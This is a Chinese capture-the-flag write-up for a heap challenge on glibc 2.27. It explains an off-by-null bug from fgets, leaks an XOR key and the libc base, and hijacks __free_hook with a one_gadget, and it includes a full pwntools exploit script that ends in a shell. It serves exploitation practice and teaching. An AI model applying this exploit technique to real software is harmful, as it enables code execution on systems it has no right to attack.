这题与以往的o-by-n不同的是,只能编辑一次,而且内容加密,如果处理不慎就很有可能导致加密构造的错误,但是密钥是可以用c语言写个小程序来爆破,也可以泄漏。
2.27之后的ubuntu1.3开始都有key 绕过double free检查的方法就是清空key字段再free fgets的 off-by-null漏洞:
如果fgets接受字节比参数所要求的字节多一个,那么最后那个就会变成null。
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
代码审计
最主要的add部分
unsigned __int64 add()
{
size_t i;
char *s;
unsigned __int64 v3;
v3 = __readfsqword(0x28u);
for ( i = 0LL; SHIDWORD(i) <= 79 && isAlive[8 * SHIDWORD(i)]; ++HIDWORD(i) )
;
if ( HIDWORD(i) == 80 )
{
puts("Sorry,The Free Verison's PassWdBox Is Full,Plz Update To Pro Version~");
}
else
{
printf("Input The ID You Want Save:");
getchar();
read(0, (char *)&idArray + 32 * SHIDWORD(i), 0xFuLL);
*((_BYTE *)&unk_406F + 32 * SHIDWORD(i)) = 0;
printf("Length Of Your Pwd:");
__isoc99_scanf("%u", &i);
if ( (unsigned int)i <= 0x100 )
{
s = (char *)malloc((unsigned int)i);
printf("Your Pwd:");
getchar();
fgets(s, i + 1, stdin);
encrypt((__int64)s, i);
*((_DWORD *)&sizeArray + 8 * SHIDWORD(i)) = i;
*((_QWORD *)&heapArray + 4 * SHIDWORD(i)) = s;
isAlive[8 * SHIDWORD(i)] = 1;
if ( !Used )
{
printf("First Add Done.Thx 4 Use. Save ID:%s", *((const char **)&heapArray + 4 * SHIDWORD(i)));
Used = 1LL;
}
}
else
{
puts("Out Of Free Version's Size");
}
}
return __readfsqword(0x28u) ^ v3;
}
encrypto
具体加密懒得分析了 就是注意如果写入不对就要考虑有没有加\n
__int64 __fastcall encrypt(__int64 a1, int a2)
{
__int64 result;
int v3;
int i;
v3 = 2 * (a2 / 16);
if ( a2 % 16 <= 8 )
{
if ( a2 % 16 > 0 )
++v3;
}
else
{
v3 += 2;
}
for ( i = 0; ; ++i )
{
result = (unsigned int)i;
if ( i >= v3 )
break;
*(_QWORD *)(8LL * i + a1) ^= key;# 大概是分组XOR加密
}
return result;
}
漏洞利用
看到XOR加密就要想到与本身XOR就能泄漏密钥,想到这个就简单了,用\n 给fgets截断就行,剩下的就是套路了。注意edit只能用一次,所以用free_hook挂one_gadget
from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="test"
elf=ELF("./"+name)
local=1
v64=1
port=28680
IP="node4.buuoj.cn"
if local:
p=process("./"+name)
if v64:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:
p=remote(IP,port)
if v64:
libc=ELF("/home/squ/Desktop/buulibc/16/64/libc-2.27.so")
else:
libc=ELF("/home/squ/Desktop/buulibc/18/32/libc-2.27.so")
libc=ELF("./libc.so.6")
def dbg():
gdb.attach(p)
pause()
'''
sed -i s/alarm/isnan/g ./test
libcbase=printf-libc.sym['printf']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
info = lambda tag, addr :p.info('======>'+tag + ': {:#x}'.format(addr))
ir = lambda :p.interactive()
def choice(i):
sla("Input Your Choice:\n",str(i))
def add(size,pwd='\n',id='s'):
choice(1)
sla('Input The ID You Want Save:',id)
sla('Length Of Your Pwd:',str(size))
sa('Your Pwd:',pwd)
def edit(idx,pwd):
choice(2)
sl(str(idx))
se(pwd)
def show(idx):
choice(3)
sla('Which PwdBox You Want Check:\n',str(idx))
def free(idx):
choice(4)
sla('Idx you want 2 Delete:\n',str(idx))
def exp(i):
add(0xf8,'\n')
ru(b"Save ID:")
rc(8)
leak=uu64(rc(8))
info('leak',leak)
key=leak
[add(0xf8,'\n') for i in range(6)]
add(0xf8)
add(0xf8)
add(0xf8)
add(0xf8)
[free(i) for i in range(1,7)]
free(8)
free(7)
add(0xf8,b'a'*0xf0+p64(0x200^leak)+b'\n')
free(1)
free(9)
[add(0xf0) for i in range(7)]
add(0xf0)
show(1)
ru("Pwd is: ")
leak_libc=uu64(rc(8))^key
info("leak_libc",leak_libc)
libc_base=leak_libc-(0x7ffff7dcdca0-0x7ffff79e2000)
info("libc_base",libc_base)
fh=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
info("free_hook",fh)
info("system",system)
add(0xf0)
free(0)
free(9)
edit(1,p64(fh))
add(0xf0)
ogg64=[0x4f3d5,0x4f432,0x10a41c]
ogg=ogg64[1]+libc_base
info("ogg",ogg)
add(0xf0,p64(ogg^key)+b'\n')
free(10)
if __name__=="__main__":
exp(1)
ir()
其中当时敲的时候有些疑惑
因为第一组XOR加密的结果被我们的\n 给修改了,所以结果略有偏差,选用第二组,fgets会读取\n 的,自己可以做个实验
- %s是以字节流打印而%p是以0x11111的形式打印,具体接收不太一样,到时候可以和上面一起做个实验(其实直接看打印出来是不是乱码就行了)
- 最后的发送一定要加个\n,具体原因不知道,当时调了几十分钟,不知道错哪了
|